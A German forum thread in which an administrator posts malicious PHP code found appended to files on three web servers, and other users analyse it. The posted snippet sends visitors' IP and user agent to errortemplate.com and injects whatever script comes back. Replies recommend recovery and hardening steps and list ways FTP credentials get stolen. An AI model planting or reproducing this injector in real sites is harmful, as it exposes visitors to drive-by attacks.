PHP Möglicher Serverhack - PHP mit angefügten Codezeilen

Rain

Lieutenant
Registriert
Mai 2003
Beiträge
704
Hallo zusammen,
möglicherweise wurde mein Webserver gehackt. Am 8.11. wurden in verschiedenen PHP-Dateien folgende Zeilen am Ende der Dateien hinzugefügt:

Code:
<?php
#cc905f#
error_reporting(0); 
@ini_set('display_errors',0);
$wp_tlkei844 = @$_SERVER['HTTP_USER_AGENT']; 
if (( preg_match ('/Gecko|MSIE/i', $wp_tlkei844) && !preg_match ('/bot/i', $wp_tlkei844))){
$wp_tlkei09844="http://"."error"."template".".com/template"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_tlkei844);
if (function_exists('curl_init') && function_exists('curl_exec')) 
{$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_tlkei09844); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$wp_844tlkei = curl_exec ($ch); 
curl_close($ch);} 
elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) 
{$wp_844tlkei = @file_get_contents($wp_tlkei09844);}
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_844tlkei=@stream_get_contents(@fopen($wp_tlkei09844, "r"));}}
if (substr($wp_844tlkei,1,3) === 'scr'){ echo $wp_844tlkei; }
#/cc905f#
?>

Kann mir bitte jemand verlässlich sagen, was hier passiert?
 
Jeder Request, der diesen PHP-Code erreicht wird an den error.template.com Server gesendet mit IP, zugegriffene Domain und User Agent. Der errortemplate.com-Server scheint auf den Request etwas zu antworten und diese Antwort wird dann ausgegeben.

Das kritische daran ist das Ausgeben von Inhalten die ein externer Server zur Verfügung stellt, das könnte ganz trivial einen User-Counter ausgeben oder eben auch viel komplexer (und wahrscheinlicher!) je nach übergegebener IP und User Agent andere Ausgaben in deinen HTML-Code einschleusen, ein toller XSS-Angriff. Das sieht für mich persönlich sehr stark nach einem Angriff aus.
 
Zuletzt bearbeitet: (fixed typo)
Meine Zeiten in PHP-Programmierung sind schon etwas her, aber hier meine code-Analyse:

PHP:
<?php
#cc905f#
error_reporting(0); 
@ini_set('display_errors',0);
$wp_tlkei844 = @$_SERVER['HTTP_USER_AGENT']; 
if (( preg_match ('/Gecko|MSIE/i', $wp_tlkei844) && !preg_match ('/bot/i', $wp_tlkei844))){ 
/* Aufrufender Client ist kein Bot UND nur InternetExplorer bzw. Gecko-basiert*/
$wp_tlkei09844="http://"."error"."template".".com/template"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_tlkei844); 
/* Hier wird die Adresse errortemplate.com in der Variable gespeichert inklusive Daten über Server und Client. Lt. WhoIs-Eintrag ist die Seite irgendwo in China registriert. Die IP liegt aber angeblich irgendwo in England... */
/* -----------------------                   Ab hier...                             ----------------------------*/
if (function_exists('curl_init') && function_exists('curl_exec'))
{$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_tlkei09844); ´
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$wp_844tlkei = curl_exec ($ch);  curl_close($ch);} 
elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) 
{$wp_844tlkei = @file_get_contents($wp_tlkei09844);}  
elseif (function_exists('fopen') && function_exists('stream_get_contents')) {$wp_844tlkei=@stream_get_contents(@fopen($wp_tlkei09844, "r"));}} 
/* ------------------                   ...bis hier                       -------------------------------- 
wird über verschiedene Möglichkeiten Versucht an den Inhalt eines auf dem Server platziertes Dokumentes heran zu kommen */
if (substr($wp_844tlkei,1,3) === 'scr'){ echo $wp_844tlkei; } 
/* hier wird dieses Dokument an den Besucher deiner Seite übertragen. Ich gehe davon aus, dass es sich um JS-Code handelt, der den Browser deines "Besuchers" auf Schwachstellen abklopft und bei Erfolg dessen Rechner infiziert. */
#/cc905f#
?>
 
Zuletzt bearbeitet:
Danke für alle Antworten!

EDIT: @Cool Master: Zwar kommt in dem QuellCode error und template (im Bezug auf URL) vor, aber der beschriebene Angriff in der Google-Hilfe beschreibt einen Angriff, wonach 404 Error Seiten, die durch .htaccess konfiguriert werden, schädlichen Code beinhalten. Die .htaccess-Dateien sind alle sauber.
 
Zuletzt bearbeitet:
cURL support enabled

:(
 
läuft den der Server noch? Wenn ja Dienst beenden!
 
Im Prinzip ist das hier alles müßig.
Fakt ist: Die Installation wurde kompromittiert. Darauf kann es nur eine einzige Reaktion geben, egal was genau jetzt für ein Schaden angerichtet wurde... Alle möglicherweise betroffenen Bereich durch ein Backup vor dem Hack ersetzen und danach das Sicherheitskonzept komplett überarbeiten.
 
Was ich euch noch nicht gesagt habe, aber nun wichtig wird: 3 Webserver wurden kompromittiert. Ein 4. nicht. Der Unterschied zu den 3 Anderen ist, dass da die cUrl-Extension schon deaktiviert war. Das fiel mir beim cUrl deaktivieren nun auf.

Backups der Scripte und Datenbanken sind vorhanden. Das Sicherheitskonzept gilt es nun in der Tat zu überdenken.

Die Frage ist nur wieviel Schaden nun wirklich angerichtet wurde: "Nur" das htdocs - Verzeichnis oder der gesamte Rechner.
 
Änderungsdatum der Datei(en) überprüfen.
 
Hi,

ich kann Daaron mal wieder nur Recht geben und würde euch empfehlen, die Server eventuell als managed Lösung zu buchen. Dann seid ihr - einen guten Dienstleister vorausgesetzt - auf der sicheren Seite und könnt euch um die eigentlichen Webseiten / Applikationen kümmern und die Server sind abgesichert.

VG,
Mad
 
Ein bisschen mehr Licht ins Dunkel: Die Angriffe erfolgten über die FTP - Server. Hier wurden die veränderten PHP-Dateien hochgeladen, sowie ständig willkürliche Verbindungsversuche (teils mit falschem Passwort) durchgeführt.
Nur beim 4. Server konnten sie kein FTP-Account verwenden, der gefährlich für den Webserver werden konnte.

Wie an die FTP - Benutzernamen / Passwörter gelangt wurde ist noch völlig unklar.

Die Server von externen Dienstleistern zu benutzen ist etwas, worüber ich definitiv sprechen werde. Leider hängen aber auch noch einige Tools dran, die mit den Servern kommunizieren. Mal sehen
 
Linux Server?

Wenn ja schaut euch mal Shorewall an. Die Firewall nutzen wir und dort wird nach 3x falschen PW für 2 Stunden gebannt. Erfolgt von der gleichen IP innerhalb von 24h erneut eine 3x falsch eingabe wird sie für immer gebannt.

PWs sind bei und 32 Zeichen lang und wir logen uns über SSH Key ein.
 
Rain schrieb:
Wie an die FTP - Benutzernamen / Passwörter gelangt wurde ist noch völlig unklar.

Wenn das Pw nicht durch Bruteforce gefunden (ausreichend komplex genug) hat wohl irgendeiner mit den Zugängen auf dem Rechner sich Schadsoftware eingefangen.
Willkürliche falsche Loginversuche auf FTP, SSH und Co. sind vollkommen normal, das ist normales "Hintergrundrauschen" von Webservern, da probieren Bots einfach wahllos einige Standardpasswörter aus.
 
Rain schrieb:
Ein bisschen mehr Licht ins Dunkel: Die Angriffe erfolgten über die FTP - Server. Hier wurden die veränderten PHP-Dateien hochgeladen
Das heißt aber nicht, dass es dabei blieb.
1.) Gibt es FTP-Accounts, die zu etwas anderem führen, als zu einem htdoc-Ordner? Wenn ja, dann ist da auch Alarmzustand.
2.) Unter welchen User-Rechten laufen die Webseiten? Jetzt mal von Apache ausgehend, tuckern alle VHosts fahrlässig unter demselben User, am Ende sogar als www-data? Dann musst du JEDES Web als kompromittiert betrachten, genauso wie /var/log/apache/. Bei einem Setup mit MPM-ITK, SuEXEC, mod_suphp (Schrott...) oder ähnlichen Varianten ist das Risiko geringer.

sowie ständig willkürliche Verbindungsversuche (teils mit falschem Passwort) durchgeführt.
Das eine muss mit dem anderen nicht zusammen hängen. Wenn ich für jedes Mal n Cent hätte, wenn jemand per Brute-Force auf FTP, SSH oder SMTP/IMAP verbinden will, oder für jeden Aufruf an nichtexistentes phpMyAdmin, dann könnt ich mir nach ner Woche Microsoft kaufen....

Die Blindversuche hast du immer, die stehen wahrscheinlich nicht in Verbindung mit dem Hack.... außer deine Logs sagen hinsichtlich der Angreifer-IP was anderes. Aber per Brute-Force ein Passwort zu knacken, wenn der Server halbwegs gut konfiguriert ist... Eher wird der Papst evangelisch.

Ich rate immer zu Fail2Ban. Das Ding ist (beinahe) ein No-Brainer und macht Brute-Force auf gängige Programme/Ports quasi unmöglich.

Wie an die FTP - Benutzernamen / Passwörter gelangt wurde ist noch völlig unklar.
Wenn ihr keinen Brute-Force - Schutz hattet, dann ist das durchaus ne Option, aber immer noch recht unwahrscheinlich.
Wenn ihr einen BF-Schutz wie Fail2Ban laufen habt, dann hab ich hier ein paar schöne Varianten für dich:

- Ihr habt ne Laus im Pelz. Unter euch ist eine Ratte.
- Jemand, der die Zugänge legitim verwendet, hat Malware auf der Kiste. Die Zugangsdaten wurden z.B. per Keylogger ausgelesen oder die Zugangsdaten wurde im FTP-Tool gespeichert und von da direkt entwendet.
- Ihr verwendet kein FTP over TLS (FTPS) oder SFTP (also SSH-basierter File Transfer). Ein Dritter hat eure Zugangsdaten schlichtweg aus dem Netz abgeschöpft. Besonders leicht geht das in öffentlichen WLANs, z.B. Cafés. War ein Kollege mit dem Notebook irgendwo und hat noch schnell was auf der Maschine gucken wollen? Da hast du's...
- Social Engineering. Jemand hat sich Zugang zu euren Geschäftsinterna besorgt, indem er jemandem von euch vorgespielt hat, er hätte die benötigten Berechtigungen. Social Engineering ist ein schwieriger Angriffsvektor, aber dafür auch ein verdammt erfolgversprechender. SE ist z.B. ein guter Weg, um Malware in ein ansonsten gesichertes Netz zu bringen. Such den neugierigsten Mitarbeiter und jubel ihm n USB-Stick unter...
- Jemand hat euch gezielt verwanzt. Ihr habt Hardware-Wanzen im Büro, z.B. USB-Keylogger, die extrem unscheinbar zwischen Tastatur und Board geklemmt werden und von keinem Antivir erkannt werden.
 

Ähnliche Themen

M
Antworten
11
Aufrufe
2.257
markowski54
M
Zurück
Oben